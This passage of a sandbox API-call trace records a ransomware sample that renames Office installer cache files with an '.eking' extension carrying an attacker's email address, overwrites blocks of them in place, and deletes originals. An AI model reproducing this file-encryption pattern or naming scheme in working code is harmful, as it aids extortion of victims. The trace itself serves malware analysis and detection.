"c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.856] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=89664) returned 1 [0194.856] CloseHandle (hObject=0x194) returned 1 [0194.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0194.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0194.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.856] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.857] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.857] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=90192) returned 1 [0194.857] CloseHandle (hObject=0x194) returned 1 [0194.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0194.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0194.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.857] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.858] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.858] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=87616) returned 1 [0194.858] CloseHandle (hObject=0x194) returned 1 [0194.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0194.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0194.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.858] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.859] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.859] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=87104) returned 1 [0194.859] CloseHandle (hObject=0x194) returned 1 [0194.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0194.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0194.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.859] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.860] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.860] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=70720) returned 1 [0194.860] CloseHandle (hObject=0x194) returned 1 [0194.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0194.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0194.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.860] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.860] ResetEvent (hEvent=0x134) returned 1 [0194.860] SetEvent (hEvent=0x138) returned 1 [0194.861] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.861] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=70224) returned 1 [0194.861] CloseHandle (hObject=0x194) returned 1 [0194.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0194.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0194.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.861] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.862] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0 [0194.892] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0 [0194.894] ResetEvent (hEvent=0x134) returned 1 [0194.894] SetEvent (hEvent=0x138) returned 1 [0194.895] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0194.895] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=383786) returned 1 [0194.895] CloseHandle (hObject=0x148) returned 1 [0194.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0194.895] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0194.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0194.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\bootmgr.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.895] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.896] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0194.896] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0 [0194.898] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0 [0194.908] ResetEvent (hEvent=0x134) returned 1 [0194.908] SetEvent (hEvent=0x138) returned 1 [0194.908] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0194.909] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=2865664) returned 1 [0194.909] CloseHandle (hObject=0x1a0) returned 1 [0194.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0194.909] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0194.910] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0194.910] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0194.910] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0194.910] ReadFile (in: hFile=0x1a0, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0194.941] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0194.941] ReadFile (in: hFile=0x1a0, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0194.962] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0194.962] ReadFile (in: hFile=0x1a0, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0195.040] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0195.040] WriteFile (in: hFile=0x1a0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0195.060] SetEndOfFile (hFile=0x1a0) returned 1 [0195.063] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0195.064] WriteFile (in: hFile=0x1a0, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0195.066] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0195.066] WriteFile (in: hFile=0x1a0, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0195.069] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0195.069] WriteFile (in: hFile=0x1a0, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0195.071] FlushFileBuffers (hFile=0x1a0) returned 1 [0199.117] CloseHandle (hObject=0x1a0) returned 1 [0199.601] SetEvent (hEvent=0xe0) returned 1 [0199.601] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0199.602] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=43806141) returned 1 [0199.602] CloseHandle (hObject=0x1a0) returned 1 [0199.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0199.602] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0199.603] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0199.603] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0199.603] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0199.603] ReadFile (in: hFile=0x1a0, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0199.925] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0199.925] ReadFile (in: hFile=0x1a0, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0200.005] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0200.006] ReadFile (in: hFile=0x1a0, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0200.023] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0200.023] WriteFile (in: hFile=0x1a0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0102, lpOverlapped=0x0) returned 1 [0200.104] SetEndOfFile (hFile=0x1a0) returned 1 [0200.366] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0200.366] WriteFile (in: hFile=0x1a0, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0200.401] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0200.402] WriteFile (in: hFile=0x1a0, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0200.405] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0200.405] WriteFile (in: hFile=0x1a0, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0200.406] FlushFileBuffers (hFile=0x1a0) returned 1 [0201.477] CloseHandle (hObject=0x1a0) returned 1 [0203.715] SetEvent (hEvent=0xe0) returned 1 [0203.718] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0203.719] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=875520) returned 1 [0203.719] CloseHandle (hObject=0x190) returned 1 [0203.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0203.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0203.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0203.719] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0203.719] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0203.719] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0203.719] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0203.842] ReadFile (in: hFile=0x190, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xd5c00, lpOverlapped=0x0) returned 1 [0203.861] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xd5c10, lpOverlapped=0x0) returned 1 [0203.878] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0203.878] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0203.878] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0203.878] WriteFile (in: hFile=0x190, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xd5c00, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xd5c00, lpOverlapped=0x0) returned 1 [0203.880] FlushFileBuffers (hFile=0x190) returned 1 [0203.910] FlushFileBuffers (hFile=0x1c0) returned 1 [0203.927] CloseHandle (hObject=0x190) returned 1 [0203.933] CloseHandle (hObject=0x1c0) returned 1 [0203.940] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0203.949] SetEvent (hEvent=0xe0) returned 1 [0203.949] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0203.949] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1347) returned 1 